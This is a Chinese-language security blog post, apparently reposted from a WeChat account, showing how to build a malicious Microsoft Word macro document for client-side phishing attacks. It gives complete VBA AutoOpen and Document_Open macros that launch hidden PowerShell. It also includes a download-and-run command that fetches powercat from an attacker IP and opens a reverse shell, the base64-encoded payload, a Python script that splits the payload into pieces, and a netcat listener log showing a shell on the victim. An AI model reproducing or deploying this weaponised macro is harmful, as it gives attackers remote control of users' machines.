Microsoft Word宏Attack

admin 2023年5月15日01:02:33评论40 views字数 4096阅读13分39秒阅读模式

采用宏的方式对client-side攻击是一种非常老的攻击方式,其目的是将宏嵌入到Word或Excle中,当用户打开嵌入宏的文档时可反弹shell。自Office 2016开始,Microsoft就默认关闭了宏的功能,当用户打开嵌入宏的文档时,需要手动确认并打开宏,才能继续使用该功能。尽管如此,采用宏的方式对client-side的攻击仍然非常流行,因为当前仍然存在大量旧版本的Office users,以及通过钓鱼诱导的方式,仍然可以诱导users点击并启用宏。以下是制作恶意宏文档的演示过程和client-side遭受攻击的过程。

首先在Attack user端创建一个空白的Word文档,并保存为doc格式。因为新的docx格式文档无法在不附加包含模板的情况下保存宏。也就是说,docx文件可以运行宏,但不能嵌入或保存宏。

Microsoft Word宏Attack

创建doc文档后,在word编辑界面创建宏。

Microsoft Word宏Attack

然后在弹出的窗口里给宏任意取个名字。并在Macros in里选择document,并Create创建。

Microsoft Word宏Attack

  在宏的编辑页面可以看到code编写窗口。在VBA宏中,通常是以Sub为开始,End Sub为结束。

Microsoft Word宏Attack

在本次演示中,我们将利用ActiveX对象,它将提供对底层操作系统的命令访问。同时还可以通过Windows Script Host Shell对象使用WScript来实现。

当我们使用CreateObject实例化了一个Windows Script Host Shell对象后,我们就可以调用Wscript.Shell中的Run方法,这样就可以在目标客户端机器上启动应用程序。因此,我们可以在第一个宏中启动PowerShell窗口。

Sub TestMacro()
 CreateObject("Wscript.Shell").Run "powershell"  End Sub

但因为Office中的宏不会自动执行,因此我们还需要预定义AutoOpen和Document_Open宏。这样用户在打开Word文档时,就会调用我们的自定义过程并运行我们的代码。因为打开文档的方式可能会不太一样,所以我们将两种情况都涵盖进去。

Sub AutoOpen()
 TestMacro  End Sub
Sub Document_Open()
 TestMacro  End Sub
Sub TestMacro()
 CreateObject("Wscript.Shell").Run "powershell"  End Sub

然后我们再进行保存,并重新打开文档。重新打开文档后,可以开单一条安全警告,表示宏已经被禁用。需要我们点击Enable Content来启用内容。

Microsoft Word宏Attack

当我们点击Enable Content后,即可看到PowerShell窗口被弹出来了。

Microsoft Word宏Attack

然而,在真实的client-side Attack中,当然不可能只是弹个PowerShell窗口就行了。接下来,我们可以尝试使用PowerShell来下载PowerCat来执行反弹shell。并且使用base64对命令进行编码,以规避特殊字符问题。

IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.204/powercat.ps1');powercat -c 192.168.45.204 -p 4444 -e powershell

同时,我们还需要将PowerShell命令在VBA中声明为字符串。

Sub AutoOpen()    TestMacroEnd Sub
Sub Document_Open()    TestMacroEnd Sub
Sub TestMacro()    Dim Str As String    CreateObject("Wscript.Shell").Run StrEnd Sub

另外,我们需要注意的是,VBA对字符串的限制是255个字符。因此我们的base64编码还需要对PowerShell命令进行拆分,并再将他们连接起来。这里我们先使用kali中的pwsh工具对PowerShell命令进行base64编码。

┌──(root㉿kali)-[/home/kali]└─# pwsh                  PowerShell 7.2.6Copyright (c) Microsoft Corporation.
https://aka.ms/powershellType 'help' to get help.
PS /home/kali> $Text = 'IEX(New-Object System.Net.WebClient).DownloadString("http://192.168.45.204/powercat.ps1");powercat -c 192.168.45.204 -p 4444 -e powershell'                                                                                                   PS /home/kali> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)PS /home/kali> $EncodedText =[Convert]::ToBase64String($Bytes)PS /home/kali> $EncodedTextSQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAA0AC8AcABvAHcAZQByAGMAYQB0AC4AcABzADEAIgApADsAcABvAHcAZQByAGMAYQB0ACAALQBjACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMAA0ACAALQBwACAANAA0ADQANAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwA

这里使用python脚本对PowerShell base64编码后的命令进行处理。

#!/usr/bin/pythonstr = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAA0AC8AcABvAHcAZQByAGMAYQB0AC4AcABzADEAIgApADsAcABvAHcAZQByAGMAYQB0ACAALQBjACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMAA0ACAALQBwACAANAA0ADQANAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwA"
n = 50
for i in range(0, len(str), n):print("Str = Str + " + '"' + str[i:i+n] + '"')

使用python脚本对PowerShell base64编码的命令进行处理后,我们在更新一下我们的宏。

Sub AutoOpen()    TestMacroEnd Sub
Sub Document_Open()    TestMacroEnd Sub
Sub TestMacro()    Dim Str As StringStr = Str + "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAd"Str = Str + "wAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAA"Str = Str + "uAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhA"Str = Str + "GQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADI"Str = Str + "ALgAxADYAOAAuADQANQAuADIAMAA0AC8AcABvAHcAZQByAGMAY"Str = Str + "QB0AC4AcABzADEAIgApADsAcABvAHcAZQByAGMAYQB0ACAALQB"Str = Str + "jACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMAA0ACAALQBwA"Str = Str + "CAANAA0ADQANAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGw"Str = Str + "A"    CreateObject("Wscript.Shell").Run StrEnd Sub

最后我们再保存宏和文档。再kali中建立监听。当用户打开文档,并启用宏时,就可以收到反弹的shell。

kali@kali:~$ nc -nvlp 4444listening on [any] 4444 ...connect to [192.168.45.204] from (UNKNOWN) [192.168.204.196] 49768Windows PowerShellCopyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindowsPS C:UsersoffsecDocuments>

原文始发于微信公众号(Matrix1024):Microsoft Word宏Attack

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月15日01:02:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Microsoft Word宏Attackhttps://cn-sec.com/archives/1721870.html

发表评论

匿名网友 填写信息